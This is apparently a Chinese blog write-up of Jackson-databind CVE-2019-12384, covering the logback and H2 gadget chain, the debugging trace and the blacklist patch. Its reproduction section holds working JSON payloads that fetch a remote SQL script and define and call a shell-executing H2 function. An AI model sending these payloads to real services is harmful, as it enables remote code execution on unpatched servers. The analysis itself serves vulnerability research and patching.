Jackson系列五——CVE-2019-12384(基于logback利用链)
/本次CVE是基于logback的利用链的。
0x01 影响版本
Jackson 2.x系列 <2.9.9.1
0x02 限制
需要logback和H2数据库的依赖,但是用H2嵌入式数据库的场景很少见。
0x03 H2特性——用户自定义函数
H2数据库,是Java实现的内存数据库,可作为嵌入式内存数据库,提供用户自定义数据库函数以及在数据库中注册函数的功能。
下面看看用户如何来自定义H2数据库函数的。
现在假设我们需要在H2数据库中实现Oracle的”TO_DATE”函数,那么需要的过程是这样的:
- 使用Java实现自定义函数的方法;
- 将Java的自定义函数注册到H2数据库中;
首先我们自定义这个函数:
1 | package com.seraph.bi.suite.support.h2; |
以上代码段是TO_DATE的实现,但用户自定义的函数需注意的是:类和方法必须是公共(Public)的,且方法需为静态(static)的,如方法中使用了Connection对象需将其关闭。
第二步,我们将其注册到数据库中,执行CREATE ALIAS
语句:
1 | CREATE ALIAS [IF NOT EXISTS] newFunctionAliasName [DETERMINISTIC] FOR classAndMethodName |
本例的语句为:
1 | CREATE ALIAS TO_DATE FOR "com.seraph.bi.suite.support.h2.Function.to_date"; |
之后,再执行类似如下语句,函数TO_DATE即可被解析了:
1 | SELECT to_date('2009-1-21','YYYY-MM-DD') from Your_Table; |
0x04 复现利用
需要的jar包如下:
- jackson-databind-2.9.8
- jackson-annotations-2.9.8
- jackson-core-2.9.8
- logback-core-1.3.0-alpha4
- h2-1.4.199
关键PoC:
1 | ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}] |
以下Demo,先尝试向目标服务器发起请求:
1 | public class PoC { |
注意,反序列化之后需要调用ObjectMapper.writeValueAsString()即进行序列化操作才能成功触发漏洞,这就是该CVE的鸡肋之处。
运行后,目标服务端接收到GET方式请求/inject.sql即成功:
PoC中的JSON实际上是在H2内存数据库初始化的时候执行RUNSCRIPT指令,从指定的URL中加载执行SQL脚本。而由于刚才的Demo中Web服务未放置该SQL脚本因为没有执行,下面来看看怎么实现漏洞利用。
在Web服务端编写inject.sql,根据H2的用户可自定义函数的功能来实现,第一部分是CREATE ALIAS
命令用来自定义shellexec()函数的内容,第二部分是call
SQL命令,用来调用前面自定义的函数:
1 | CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { |
再次运行即可成功弹计算器:
我们可以再优化一下。我们看到payload中,url键对应的值其实就是一条SQL命令jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'
,因此,我们可以直接将相应的URL部分替换为其他SQL命令,使用文件存储方式先定义一个命令执行的函数,注意代码中的分号需要用反斜杠转义一下:
1 | ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/mi1k7ea;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd)\\; }$$;"}] |
这里jdbc:h2:file会在本地Users目录中生成指定的数据库文件即C:/Users/xx/.h2/mi1k7ea.mv.db,下次可以直接调用该文件进行操作。
接着同样使用文件存储模式,执行CALL命令调用刚刚自定义的函数即可时效内任意代码执行:
1 | ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/mi1k7ea;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');"}] |
0x05 调试分析
我们在ch.qos.logback.core.db.DriverManagerConnectionSource类上的所有getter方法和setter方法上打上断点,然后调试发现:
如果在Jackson反序列化之后不调用ObjectMapper.writeValueAsString(),则只会调用DriverManagerConnectionSource类的setUrl()函数;
如果在Jackson反序列化之后调用ObjectMapper.writeValueAsString(),则在调用DriverManagerConnectionSource类的setUrl()函数之后再调用getDriverClass()、getUrl()、getConnection();
接着在mapper.writeValueAsString(object);
处打上断点重新调试。
在Jackson序列化的过程中,会通过调用getter方法来获取对象的属性值,会循环调用BeanPropertyWriter.serializeAsField()函数,其中通过反射机制来调用要序列化的对象所属类的getter方法:
在循环调用 函数的时候,会先后调用getDriverClass()、getUrl()、getConnection()等类的getter方法。
在最后调用getConnection()函数中,调用了DriverManager.getConnection()函数来和H2数据库进行连接交互,并且由于url参数我们外部可控,因此就能利用H2用户可自定义函数的特性来实现RCE:
0x06 补丁分析
Jackson在2.9.9.1版本中添加了ch.qos.logback.core.db.DriverManagerConnectionSource类的黑名单,具体的可在jackson-databind-2.9.9.1-sources.jar!/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java中看到:
1 | // [databind#2334]: logback-core (2.9.9.1) |